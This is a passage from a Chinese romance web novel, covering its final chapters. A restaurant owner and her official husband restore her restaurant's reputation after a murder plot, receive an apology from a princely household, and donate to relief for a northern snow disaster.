韩泽这才低头看自己,衣服上都是刀剑划的口子,上面的血迹看着很是吓人。这样子确实不好让雪儿看见。 他正要去母亲院里,就听有人急切道:“少夫人!” 转头一瞧,春佟和雨竹正扶着将要倒下的姚轻雪,韩泽大步走过去:“怎么了?” 姚轻雪站直身子,一把抓住他的手左看右看。“伤哪儿了?严不严重?”她声音打着颤,攥着男人的手也在发抖。 “没伤到。”韩泽抽出手,“脏。”回家还没净手,沾过旁人的血,他不想让妻子碰到。 姚轻雪眼圈一红,固执地去握男人的手,“哪里脏了?不脏。”她吸了吸鼻子,“押个犯人怎么这般凶险?” 雨竹看见护卫们身上都带着血,有人伤的不轻,最重要的是早上出去二十人,就回来了十四人。小丫头没瞧见韩泽和她想看的人,哭着跑回东院。 雨竹是个直性子,有什么说什么。她说没看见韩泽,可把姚轻雪吓得不轻。儿子都不顾了穿着单衣就往外跑,还是春佟抓了袄子和披风边走边给主子穿上。 看见韩泽好好地跟母亲说话,姚轻雪那口气一松就差点栽倒。眼下见人好好的没有受伤,后怕的劲儿上来,手就抖个不停。 韩泽握了握她的手,“狗急跳墙最后一搏,不怕!都过去了。” 姚轻雪点点头,带着哭腔问:“其、其他人呢?”她问的是没有回来的府中护卫。 看她的样子韩泽就明白了,他的雪儿最是善良心软。“都好好的,只不过那几人伤的有些重,骑不得马,我已派人去接了。” “哎呀,都怪我。”雨竹懊恼地拍了一下脑袋,“少夫人对不住,我没瞧见小五哥,我以为他、他……”以为他们都死了呢。 “你这丫头。”韩母瞪她,“心里只有你小五哥,怎地不问问旁人怎么回事?” 小丫鬟羞红了脸,把脑袋压得低低的不吭声。雨竹和护卫赵小五走的近,小丫头常常给小五送吃食,府中大部分人都知道他俩的事。 “润青没受伤,他身上的血都是旁人的,回去洗一洗就没事了。”韩母一瞧也不用儿子来正院了,赶紧让他们回去洗洗,儿子这一身看着实在碍眼。 等儿子儿媳走远了,韩母回屋脱力地坐到椅子上。她刚刚表现得云淡风轻,没人知道看见儿子那一刻心脏受到多大冲击。年轻时见惯了丈夫受伤,现在为儿子担心。 什么事都能习以为常,唯独至亲骨肉受伤没办法习惯。但她却不能表现得太过明显。当家主母若是乱了阵脚,让其他人怎么办? 此次与韩泽一起出府的韩家护卫都得到了奖赏,次日姚轻雪就把饕餮楼的厨子叫来将军府,好生做了一顿饭犒劳他们。 如今犯人已经抓到,饕餮楼不能一直歇业。但什么都不做就开门肯然犯忌讳,毕竟有人死在了饕餮楼里。 姚轻雪请了京城最负盛名的寺庙里的大师在饕餮楼诵经祈福,声势弄得很大,然后鸣鞭开业。 尽管做了这么多,生意还是受到很大影响。开门第一日只迎来十五桌客人。这与之前客如云来大相径庭。一时间饕餮楼的伙计们都有些泄气,有人不免怨起钱槐花。 姚轻雪:“怨她有何用?事情已然发生,她自己个也遭了报应。” 儿 子死了,儿媳抱着孩子回了娘家,扬言与钱家再无瓜葛,连他丈夫张大宝的尸首都没去认领,钱氏一念之差最后落得破人亡。当初钱氏但凡对她和饕餮楼多一点信任,也不会落得今日的下场。 “大家都别灰心,饕餮楼的口碑还在,厨子的手艺没变,生意会慢慢好起来。”姚轻雪虽然心里不好受,但她作为东家得安抚好大家。 第一天生意很差,消息传回了将军府。次日早饭后韩莺等人来到东院。 周芸姝:“我们从嫂子这拿了不少银子,以后就不用再给我们分银子了。”当初她和韩浩只不过想表达一点心意,并没指望拿分红,如今作罢也不过是和当初一样。况且本钱早就回来了。 韩莺:“我有点心铺子,也不用嫂子的分红。”她的铺子生意越来越好,若不是饕餮楼出事,她又要在年后嫁人,年前会再开一家。糕点铺子不能像饕餮楼那样做大,但可以多开几家。 “我、我也不要了。”韩娇很舍不得,但还是忍痛割爱。母亲说光是她从大嫂这里得来的分红,等到她出嫁就能攒一大笔嫁妆。没有了可真心疼啊。 姚轻雪摸摸一脸肉疼的韩娇,“你们的心意我领了,难处只是眼前的,饕餮楼只要赚钱大家的分红就都还有。” “那,那不赚钱怎么办?”韩娇忐忑地问。 姚轻雪笑了笑,“等到不赚的时候也就没必要开下去了,现在还没到那个地步。相信我,我可是你们长嫂,我能把饕餮楼开起来,就能让它重新走向辉煌。” 几个女人互相看了看,然后异口同声道:“我们相信大嫂!” 床上传来说话声:“相信就相信,喊这么大声干嘛?” “呀。”周芸姝捂脸,“大哥在啊。” “大哥你怎么没去上直?”曜儿被母亲抱去正院,她们以为这屋里只有大嫂一个人呢。原来大哥躺在床上,韩莺眼珠子滴溜溜转,在大哥和大嫂两人身上徘徊。 姚轻雪见她精怪的样子,就知道她脑子里没想什么好事。她没好气道:“你大哥前些天累得狠了,请了几日假在家好好歇一歇。” “那不打扰大哥休息,我们走吧。”周芸姝起身告辞。知道韩泽在屋里,她这个弟妹自然不好再待下去。 送走她们,姚轻雪嗔道:“你就不能忍一忍,现在像是你把人赶走了一样。” “哼,就是要赶她们走。”韩泽靠在床头。他穿着雪白的绸缎里衣,一手放在后脑一手搭在腹部,看上去十分惬意。 “妹妹们也就罢了,还有芸姝呢。”姚轻雪坐到床边,“可是吵到你了?” “没,早就醒了。”韩泽抓过姚轻雪的手把玩着,“我若不出声,她们几个定是要说个没完没了。”男人的语气有几分委屈,“现在就要走?”他好不容易歇个假,媳妇却忙起来。 姚轻雪捧住男人的脸,在他嘴上亲了一下,笑眯眯道:“乖,我得去赚钱,不然怎么养你和儿子?你在家想睡就睡,我去赚钱养家。” 韩泽笑出声来,顺着她的话道:“我一月用不了几两银子很好养,你用不着这么拼命。” “那不行。”姚轻雪板着脸晃晃头,“别人有的,我男人也得有,我宁愿苦自己,也要给我男人最好的。” 韩泽伸手勾住她的腰往怀里一带,一手扣住她的后脑亲了下去。情到浓时俩人差点白日那什么,这可是大上午啊。这几天韩泽不用上直,俩人晚上没少折腾,这才过去几个时辰啊,又想了?姚轻雪忍不住腹诽。 眼看要刹不住了,她急忙推开男人跳下床:“我走了,在家好好哄孩子。等我赚钱回来给你们买好吃的。” 听见关门声,韩泽仰倒在床上,片刻后他笑出来。敢让大理寺少卿在家哄孩子,也就他家雪儿干得出来。饕餮楼遭人算计生意一落千丈,最难过就是她,但在家里她只字不提,哄着他和孩子。 罢了,索性无事就去饕餮楼转转吧,帮点忙也好。也不能真的就让媳妇赚钱养他。 韩泽起床洗漱,吃了点东西,走之前他去正院看儿子。还未进门就听见屋里传来父亲的声音。“曜儿!看这是什么?” 推开门就见父亲头上带着虎头帽,摇头晃脑地告诉韩曜这是“老虎。” 韩泽捂脸,自从有了小崽子,沉着稳重的父亲像变了个人,在韩曜面前一点威严没有,哪里有小时候对他和韩浩那般严厉。 韩振听见动静,回头见是儿子。他摘了虎头帽扣到韩母头上。“曜儿看,母老虎。” 韩泽:“……” 在韩母发作前,韩父赶紧拽着儿子溜出房间。父子俩坐到厅堂,韩父的笑容逐渐下去。“听说刑部有结果了?” 韩泽点了下头,这几日他虽没出家门,但该知道的都知道。杜七每晚都来韩家蹭饭,顺便把外面的消息带给他。 涉及到雪儿的两起命案刑部都查清了。万铎先雇张四夫妻给姚轻雪泼脏水,再杀之嫁祸姚轻雪。之后故技重施哄骗苏绒死在饕餮楼,又杀张大宝灭口。 万铎和他的手下共五人判斩首,万常青雇凶截囚也判了死刑。万凝霜在万铎被押进刑部大牢不久便自缢身亡,一口薄棺草草下葬。宁王始终没有给万家求过一句情,反而在陛下面前痛斥万家。 韩父:“你觉得这事跟宁王有没有关系?他女人做下的事宁王就真不知情?” “或许有所察觉但想乐见其成。若万凝霜与万铎的计策成了,饕餮楼不得不易主,宁王有机会得到饕餮楼。宁王是陛下的皇叔,陛下拒绝一次不好拒绝第二次。相反若是事情败了,也只是治家不严妾室祸乱,万家人对宁王来说不过几只蝼蚁。” 韩泽一直认为宁王殿下知情,尤其是万凝霜死得不明不白。只是陛下不想追究,案子便到此为止,委屈的只有他家雪儿。【你现在阅读的是 】 第 131 章【VIP】 第131章 第131章赔礼 午时正是饭口,饕餮楼内的食客却寥寥无几。徐成看着人没坐到一半的大堂唉声叹气。“怎么办?总这样下去不成啊。” 从开业到现在饕餮楼就没这么冷清过,以前还有人抱怨太忙太累,现在无人来吃饭大家心里又都慌了。 乔旺:“要不我出去找找朋友?” “不是长久之计。”姚轻雪摇了摇头。找托儿解决不了问题,归根结底需要扭转苏绒之死的负面影响和饕餮楼食物有毒的不实传言。 之前万铎和万凝霜的恶意为之,京城人都认为是饕餮楼的食物吃死了人。现在案子查清,但人们并不知情。要想让消息传开、传得广。 “乔掌柜,你可认识话本子、戏本子写得好的人?”她不能像万铎那般找人传谣,但却可以光明正大地为饕餮楼正名。 “这个还真不知道,我不听曲,茶楼戏馆很少去。”乔旺说完去看徐管事。 徐成:“我本就不是京城本地人,来了饕餮楼就没怎么闲过,出门的次数都有限,哪能知道这些。” 姚轻雪把自己认识的人想了一遍,想看看谁好此道。就听门口传来一声:“嫂子!” 三人往门口看去,就见韩漳笑呵呵地走进来,他身后跟着六七个和他差不多年纪的少年,看穿着应是韩漳的同窗。 “三弟!”姚轻雪迎过去,“你怎么来了?” “书院饭堂都吃腻了,大家想过来尝尝饕餮楼的美食。”韩漳对身后众人介绍,“这是我嫂子,这家酒楼的东家。” 七个半大少年眼神灿灿,齐齐拱手:“见过大嫂。” 随后一人道:“我们几个常听韩漳说起大嫂,也知饕餮楼美食琳琅别具一格,早就想来一饱口福,可惜饕餮楼一座难求,我等只好一等再推等,今日总算有机会了。” “有心了,嫂子谢谢你们。”姚轻雪微微颔首,“今日这顿嫂子请了。” “使不得。”七人都出声拒绝,“我等虽没什么银子,但一顿饭钱还是有的,不能让嫂子赔钱,不然我们以后可不敢来了。” 韩漳:“嫂子,我要请他们都不愿意,这些人都是我朋友,您也别跟他们客气。” “对对,嫂子千万别跟我们客气,嫂子,您看我们坐哪儿?”有人指向靠近门边的桌子,“就坐那吧。” 还不等姚轻雪说话,几个人就往那边走去。大堂的桌子都是方桌,正常可以坐四五个人,八个人就把两张桌子合在一起。 有人拿来精美的菜谱给他们,七个脑袋凑在一起点菜。 姚轻雪看向身边的韩漳:“三弟费心了。” 这时候韩漳把同窗叫过来不单单是为吃饭。韩家人她和韩漳接触得最少,主要是平时不怎么见得到人。除了读书韩漳总不着家。韩父韩母想见他都得挑时间。 姚轻雪一拍脑门,还打 听什么,爱玩的主儿眼前不就有一个?真是灯下黑,怎么把他给忘了。于是她把想写成话本子、戏本子为饕餮楼正名的打算说了。 “这个办法好。”韩漳一拍手,“您和饕餮楼此番遭遇够得上一出戏,嫂子放心,这事交给我,最迟后日我把人给您带来。” “带谁来?”韩泽走过来问。 “大哥!” 七位同窗见韩漳老老实实叫大哥,知道这人就是鼎鼎大名的大理寺少卿,都赶紧起身见礼。 韩泽点了点头,“都坐吧,除了酒不能碰,其他的都可以尝尝。” “多谢大、少卿大人。”少年想跟韩漳一起叫声大哥,但话到嘴边忙改了。这位看着就不是好说话的主,跟旁边那位大嫂可不一样,还是别乱套近乎了。 姚轻雪看出几个孩子在韩泽面前很拘谨,说了两句便把韩泽拉走了。“你怎么来了?歇够了吗?” 韩泽尾指勾了勾她的小指,“总不能让你在外面忙,我在家睡大觉吧。” “心疼我?”姚轻雪凑过去小声问,随后与他十指相扣。 那边七个人抻着脖子看二人背影。有人感慨:“你大哥和你嫂子感情真好。”谁能看出来韩家大公子那么冷冰冰的一个人对妻子竟这般温柔体贴。 旁人不知道,他们可是知道内情的。饕餮楼的案子虽然是刑部主审,但犯人都是大理寺也就是韩泽抓的。为此还被几十个人截杀。韩少卿这么拼命为的不就是妻子嘛。 “那是,我大哥和大嫂从来没红过脸。”韩漳满脸得意。 几人说了会儿话,伙计开始上菜。 “哎?这个咱们没点吧?”有人指着一个盘子问,“这什么菜?没见过啊。” 一旁的伙计道:“此为拔丝山药,脆甜香酥,我们东家说诸位应该会喜欢,特地让灶上做了给大家尝尝。” “我嫂子送的。”韩漳夹了块山药,随着筷子上挑,拉出长长的细丝,“快吃,这个凉了就不好吃了。” 大家纷纷下箸,然后就都顾不上说话了。 或许是八位学子带来了人气,在他们之后陆续有食客进店。虽不及从前但却是比昨日好得多。未时正饕餮楼最后一桌客人离开,酒楼内安静下来。 伙计们忙着收拾残羹冷炙,姚轻雪见韩泽百无聊赖便说回家吧。家里还有个崽子,也不知道看不见她哭没哭。 俩人到家,还没来得及回东院,韩夫人就派人请他们去正院。婢女说宁王妃来了。 姚轻雪皱眉:“宁王妃来做什么?” 婢女行了一礼回道:“王妃带了很多礼,说是给少夫人赔礼。” 姚轻雪挑眉:“王妃赔礼我敢受?” “有何不敢?”韩泽道,“走吧去见见。” 两人来到正院,厅堂内韩母与一衣着华贵的妇人并坐在主位,宁王妃看上去与韩母年纪相仿。 韩泽走到贵妇人跟前拱手:“见过王妃!” 姚轻雪紧随其后矮身福一礼:“见过王妃!” 宁王妃点了下头,“好!” 礼毕韩泽和姚轻雪坐到韩母下手。宁王妃打量姚轻雪,见她很是沉稳,便笑道:“先前总听人夸你,果然是见过世面的,泰山崩于前都这般沉得住气。” 姚轻雪一时间弄不清宁王妃是夸她还是讽刺她,便礼貌地回道:“王妃过誉了。”就当是夸她吧。 韩泽不紧不慢道:“是人就有喜怒哀惧,她也怕,只是您没瞧见罢了。不知王妃今日前来所为何事?” 宁王妃脸上有些不自然,“万氏做的恶要算到王府头上,我今日来给姚东家陪个不是。” 谁算?这话说的好像她跟宁王府要说法似的,姚轻雪:“王妃严重了,万家已经得到应有的惩罚,轻雪断不敢让王妃赔不是。” 宁王妃笑了笑,“不管怎样祸起那万氏,她是王府的人。王爷不便前来,让我代为转告,王府欠姚东家一个人情,日后有需要尽管开口。” 姚轻雪轻轻一笑:“那便谢谢王爷,谢谢王妃。” 将军府门第不低,但与宁王还是比不了。人家给了笑脸就赶紧接着吧。 宁王妃没待太久,寒暄几句留下东西便告辞了。等人走后,韩母道:“我说酒楼忙便没去喊你们,既然回来碰上了不见一见就是失礼。” 姚轻雪:“母亲放心,我明白的。” 韩母点点头,指了指地上的几个木箱子:“东西都是给你的,拿回东院吧。” 宁王府给的赔礼不少,大多是珠宝首饰,变卖的话少数值千两银子。 姚轻雪悄悄跟韩泽咬耳朵:“宁王这算不算偷鸡不成蚀把米?” 韩泽冷哼:“饕餮楼的损失岂是这点银子能弥补的?” “唉。”姚轻雪叹口气,“我何尝不知,但王爷能降低身份让自家王妃来道歉已是难得。再者胳膊拧不过大腿,再气也不能把人家怎么样。” 她心里很清楚,若是没有将军府,宁王妃不会登门道歉,更别提这些东西了。如今宁王妃亲自来也是给将军府的面子。说到底她姚轻雪不足为重。 韩泽心里清楚,宁王让自家王妃来这一趟,应是陛下的敲打。 姚轻雪刚把宁王妃带来的东西记录在册放进库房。韩莺就兴冲冲地跑来。韩泽正在屏风后换衣服,韩大小姐以为屋里没别人。 她俏皮地道:“宁王妃是不是看你不顺眼?我跟你说以前宁王妃和郡主都中意大哥,想让大哥做王府的女婿,哎呀疼,谁?” 韩莺说的起劲儿,头发突然被拽了一下,她怒冲冲回头准备教训人,然后她也就怒了一下,“大、大哥,你在啊。” “你很闲?”韩泽脸色不善。 “不不,不闲。”韩莺绕开她哥,“我还有事,先走了。” 目送不省心的妹妹离开,韩泽回头就见媳妇抱着胳膊,同样眼神不善地看着他。 “我就说宁王妃对我的态度有些怪,原来问题在你这啊?” 姚轻雪从宁王妃眼中看到了冷漠,甚至还有几分不屑,原以为是她自视高贵看不起自己,原来还有韩泽这茬。 韩泽:“这你可冤枉我了,我对郡主没用丝毫情意。倾慕我的人那么多,我都不喜欢唯独喜欢你,从始至终就喜欢你一人,你难道不知道吗?韩莺大嘴巴,你不帮忙训她,还怪我。” 难得听他说情话,又这么委屈巴巴的,姚轻雪顿时乐不可支。其实她也不是真生气。曾经有多少女人觊觎她的男人,她自然知道。 “我没怪你。”姚轻雪双手环住他的腰,“我男人这么好,没人肖想才不正常。” 韩泽抱住她,下巴搁在她头顶:“这还差不多。” 俩人搂搂抱抱,春佟从隔间探出脑袋看了看,犹豫要不要进去。 他怀里的韩曜见她不动,小家伙“啊!”了一声催促着,他好像听见娘的声音了。【你现在阅读的是 】 第 132 章【完结】 第132章 第132章完结 晚上姚轻雪没有去饕餮楼,这几天为了不让奶奶受到刺激,她都没敢回姚家,芽芽也没来将军府上课。 刘达、李氏和他们的女儿桃花都被姚轻雪警告过,不准把外面听到的关于她和饕餮楼的任何消息带回家。 姚家刚搬来不久,和邻居都不熟,刘氏身体不大好就一 直躺在屋里。外面的风言风语倒也没让她知道多少。 芽芽好几天没见姐姐,抱着她不松手。姚轻雪抱了抱妹妹,“没事了,明日你就可以去找娇娇玩了。” “嗯。”芽芽闷闷道,“还有曜哥。” 姚轻雪笑,“对,还有你小外甥,他也想你了。” 刘氏从床上坐起来:“这几天你没来,芽芽也不出门,我就知道事情还没解决。家里这几个嘴巴都跟葫芦似的,一点风都不透。”刘氏埋怨着。 她问姚福孙女那边怎么样了?老头子只会说:“挺好,不用惦记。”要不就是:“没事,别瞎操心。”就是不跟她说实话,还不让她出门。 “奶奶,大家都是为了您好。”姚轻雪坐到床边,“身体怎么样?要不要紧?” “好药补品就没断过,不打紧。”刘氏摆摆手,“这把老骨头没那么容易死。”吃了几天药她的身体没什么大事。就是心里不舒服才一直躺着。“你的事都了了?” “嗯。”听完孙女讲述经过,刘氏扶胸舒气:“竟然有这么多事在里头,亏得润青有本事,不然可怎么办呦?” 刘氏心里阵阵后怕,饕餮楼就是个下金蛋的母鸡,有人惦记不奇怪。可恨的是那些人不顾人命不择手段。若单单是他们姚家和孙女,没权没势根本斗不过人家。最后酒楼保不住,可能还会摊上人命官司。 要不怎么有那么多商户把如花似玉的女儿送给年过半百的官员做妾呢,要的就是庇护。那万家不就是如此?若是没有宁王做靠山,那万凝霜哪有胆染指饕餮楼? 姚轻雪看向与姚福并排坐着的男人,脸上笑意满满:“您孙女我命好呢,嫁的男人也是顶顶的好。” 韩泽低头喝茶,嘴角止不住地上扬。 刘氏见他们两个并未因为这事起龌龊很欣慰。“不用惦记我,快回去吧,曜儿离不得人。” 知道她确实没事,姚轻雪也就放了心。 次日,她和韩泽一同出门,一个去酒楼上工,一个去大理寺上直。韩曜泪眼婆娑地望着爹娘远去的背影,等看不见了才趴在祖母怀里小声啜泣着。 韩母的心跟针扎了似的,抱着孙子跟丈夫抱怨。“要不是饕餮楼刚出过事,为了曜儿也不该让她总往外跑。” 饕餮楼日进斗金也不如她孙子金贵。这几天儿媳不在,韩曜都是喝的粟米汤。一天两天还好,日子久了孙子得吃多少苦啊。 韩父:“润青媳妇非一般内宅女子,她没有围着你儿子转,自然也不会为了孩子放弃饕餮楼。” 韩母轻轻拍着韩曜的后背:“就是苦了我的乖孙。” “孩子总会长大。”韩振来到韩母身后,“曜儿,祖父抱,我们去骑马好不好?” 韩母没好气道:“他才几个月,坐都不会坐骑什么马?小马驹你给曜儿准备的?” “是啊。”韩振握着孙子的小手晃,“太仆寺来了批马,我挑了一匹最壮实的小马驹给曜儿。” 韩母都不知道该说什么好,韩曜才多大点,等他能坐上马背,小马驹都成老马了。她知道丈夫对儿孙习武的执念,便也不多言。反正孙子还小,他也是白着急。 韩泽把媳妇送到饕餮楼门前,下车前对怀里的人道:“生意慢慢会好起来,别让自己太累,银子永远赚不完。” “我知道。”姚轻雪在他怀里蹭了蹭,“生意做到现在已经不单单是我个人的得失,酒楼里那么多人,安定庄摊子铺那么大,大家都要养家糊口。” 最后汲取一点男人身上的温暖,姚轻雪起身下车:“走了,不要太想我。” 韩泽轻笑,看着她进了酒楼才离开。 午饭前姚轻雪盘了昨日的账,赚的不多刚刚够酒楼一日支出,这个结果不算坏。巳时正,饕餮楼开门迎客。 第一个进来的竟是熟人。姚轻雪迎过去,“宋大人今日怎么有空过来?” “欠了些人情,今日刚好无事便来了。”宋筠笑道,“劳烦姚东家给我们安排个雅间。” 姚轻雪看向他身后三人,虽都穿着常服但看气度应都是官场上的。“欢迎,诸位请随我来。” 她在前头拾级而上,有人道:“姚东家亲自领路,我等荣幸。” 姚轻雪回头微颔首,“几位是饕餮楼的贵客,我自当亲力亲为。” 几人来到鸿运当头的包间,三人落座后从伙计手里接过菜单,“早就想来品尝饕餮楼的菜品,宋大人请客,我等就不客气了。” 宋筠:“客气就是看不起宋某,多点些吃不完带回家,给嫂子和侄子侄女们尝尝。” 姚轻雪客套两句走出包房,宋筠跟了出来,两人站在门边。“虽然你可能不需要,但我还是想告诉你若有要宋某帮忙的地方尽管开口。” “今日你能来就是对我最大的帮助,多谢!”向来是锦上添花易雪中送炭难,现在人们对饕餮楼远而避之,宋筠与她没多少关系,他能带人来捧场,姚轻雪是真心感激。 宋筠看着她:“会好起来的。” 姚轻雪垂眸,“借你吉言。” 两人正说着话,就见乔旺领着司马澹一行人上楼。司马澹看见宋筠拱手:“宋大人也在,好巧。” 与司马澹同来的人道:“两届探花在此相遇,饕餮楼实乃宝地啊。” “李大人,你也来吃饭。”听见门外的声音,屋里点菜的三人也出来寒暄。 司马澹抽空与姚轻雪道:“这些都是官场上的同僚,平日人情往来少不得请客吃饭,饕餮楼是难得的好地方。” 他的意思姚轻雪明白,不管宋筠还是司马澹,今日带来的人都不是一般食客。姚轻雪面带微笑躬身道:“多谢司马公子!” 司马澹还礼:“大嫂客气!” “大嫂!”韩漳蹬蹬顺着楼梯跑上来,“司马大哥你也在啊。” “三弟也来吃饭?”司马澹问。 韩漳:“不,我找大嫂有事。”能写戏本子的人他带来了。 司马澹:“大嫂去忙,伙计招呼我们即可。” 姚轻雪和韩漳下楼,乔旺笑道:“两位探花同日来饕餮楼用膳,东家,咱们该放挂鞭。” 姚轻雪:“两位公子和诸位大人只想好好吃顿饭,切不可惊扰。” 他们的话大堂的客人听得一清二楚,皇帝的臣子们都不避讳饕餮楼死过人,旁人有什么好计较的?有些人心里的那点别扭立时烟消云散。 韩漳带来的人三十出头叫廖坤,在京城写话本和戏本小有名气。姚轻雪把自己的意图说了出来。 廖坤:“只饕餮楼的遭遇未免单调,若是方便姚东家可否与我说说您与韩少卿的过往?相比仗势欺人强拿硬要,有些人更喜欢才子佳人、英雄美人的故事。” 姚轻雪笑了笑,心道这人倒是知人心。她和韩泽的过往没什么不能说。廖坤拿出纸笔记录。半个时辰后他放下笔。“单是姚东家与韩少卿的经历便可编一个不错的故事,姚东家放心,三日后廖某拿来给您过目。” 韩漳:“大嫂,戏班子您也不用费心,我朋友认识不少茶楼的东家。等廖坤把故事写好您点头,我就找人传唱,一定会给饕餮楼正名。” 戏本子的事交给韩漳和廖坤,姚轻雪把精力都放在饕餮楼上。很多与韩家相熟和姚轻雪认识的人都来饕餮楼捧场。再加上戏本的传唱,生意一日比一日好起来。 时间一晃到了十二月,饕餮楼的生意差不多恢复到从前。 姚轻雪站在门前迎来送往,有位熟客临走前与她道:“吃了不少地方,还是饕餮楼最对我的口味。” 同行之人也道:“就说那道红烧肉,别家做出来腥味重还柴,饕餮楼做出来的香气扑鼻酥烂不腻,真是令人百吃不厌。我以前很少吃猪肉,自从吃了你家的就总想这一口。” 姚轻雪笑道:“诸位有所不知,饕餮楼所用猪肉都是自家养出来的,养猪的法子不同以往,猪肉口感要好上很多。” “原来如此。”众人恍然,“看来想吃猪肉非得来饕餮楼不可了。” “诸位若是想吃,也可去安定庄的铺子里买。只是安定庄出产的东西要比别处贵些。”今年安定庄出产的青菜和禽蛋肉等都很多,饕餮楼没法完全消耗,姚轻雪提议在京城开一家专卖安定庄物品的铺子。店刚开起来,生意就出奇的好。 “贵些不怕,姚东家快说说那家店在哪里?” …… 送走最后一桌客人,已经快戌时末。姚轻雪穿上披风走出酒楼,恰好看见韩泽从车上下来,她快步走过去。“你怎么来了?” 韩泽给她拢了拢披风领口,“你不回去曜儿不肯睡,总往门口瞧。” 姚轻雪提着裙摆赶紧上车,“快回家。” 韩泽看着她急吼吼的背影无奈,上车之后道:“饕餮楼恢复正常,你不用这么累。” 姚轻雪没骨头一样靠在他身上,“年前这 段日子忙,我不放心。” “大可放心,万家家破人亡便是警告,以后没人敢招惹你。”韩泽握着她的手,“每日过来瞧两眼即可。” “嗯。”姚轻雪昏昏欲睡。一整日都在饕餮楼盯着,着实很累人。 韩泽没吵她,到家才把她唤醒。两人下了马车才发现下雪了。姚轻雪摊开手掌接住细碎的雪花。“瑞雪兆丰年。” “雪太大并非是好事。”韩泽拍掉她手里的雪沫,“冷,回去。” 两人手牵手往东院走去,姚轻雪侧头问:“怎么说?” “京城雪不大,但北边大雪成灾,这几日陛下正头疼呢。” 姚轻雪轻叹:“有人怕是难熬过这个冬天了。”人祸或可避,天灾不可违。 之后陆续从食客嘴里听说了北方的雪灾。有人被冻死,有人夜里被倒塌的房屋压死。姚轻雪把这件事放在了心上。 腊月二十一,姚轻雪进宫还今年的银子。皇帝低头看奏折,都没空理她。 “陛下,托您的福,饕餮楼赚了点银子,现今百姓受灾,饕餮楼回馈的时候到了,臣妇想给北边的灾民捐五万两。” 皇帝从一尺来高的奏折中抬起头看她,“五万两?”这不是小数目,给他五万后再拿出五万,饕餮楼即便赚钱也没到几万两随便往外撒的地步吧。 姚轻雪低着头:“十万两差不多是饕餮楼一年多的产出,民妇有韩家养着花不了几个钱,银子放在钱庄就是死物,臣妇就想着拿出来救助受灾百姓,也算臣妇和饕餮楼的一点心意。臣妇还想等还完陛下的银子,饕餮楼每年都拿出部分银子赈灾修堤。” 她把饕餮楼一年赚多少给皇帝交个底,并且打算每年都捐银子用于民生。这次遭人算计让姚轻雪明白一个道理,不管多大生意,没权没靠山是守不住的。除去将军府皇帝是这世上最大的靠山。 皇帝看向一旁。韩泽拱手:“内子的钱由她支配,臣不干涉。” 皇帝戏谑道:“姚老板把银子都给了朕,给润青的零花可还有?” 韩泽抽了抽嘴角,到哪儿都是银子好用,皇帝都称呼雪儿为老板了。 姚轻雪怔了一下,很快回道:“他花不了多少,有几两就够了。” “润青很好养嘛,若是朝中大臣都像你们这般,朕就省心了。”听语气就知道皇帝心情不错。“姚老板大义!朕没看错人。”皇帝夸了她一通。 从皇宫出来,姚轻雪一身轻松。 韩泽:“把辛苦赚的银子全送出去,估计陛下都没有想到。” “是吧,我在陛下心中的形象应该有这么高了。”姚轻雪抬手比了个高度,“日后饕餮楼有什么事总得给几分薄面吧?” “不心疼?”韩泽看着她。 姚轻雪皱了皱鼻子,凑过来小声道:“可心疼了。”那么多银子白白给了出去咋能不心疼?心都在滴血。 不过话又说回来了,饕餮楼比一般商户赚的多得多。等还完皇帝的银子,每年捐出去一半也还有很多。韩家本就富贵,若是太富很可能成待宰肥羊。真到那时皇帝心里恐怕都得嘀咕,舍财保平安。 姚轻雪抬头看了看湛蓝的天空:“有舍才有得。” “不怕。”韩泽握住她的手,“即便饕餮楼一文不赚,我也养得起你。” “养一辈子?”姚轻雪俏皮地问。 “养一辈子。”韩泽温柔缱绻地承诺。 “我信。”姚轻雪眼神灿灿,拽着男人小跑起来。“我们快些回去,儿子肯定着急了。” 两人的身影很快消失在白茫茫的尽头。 岁晚踏雪,白首不离。【你现在阅读的是 】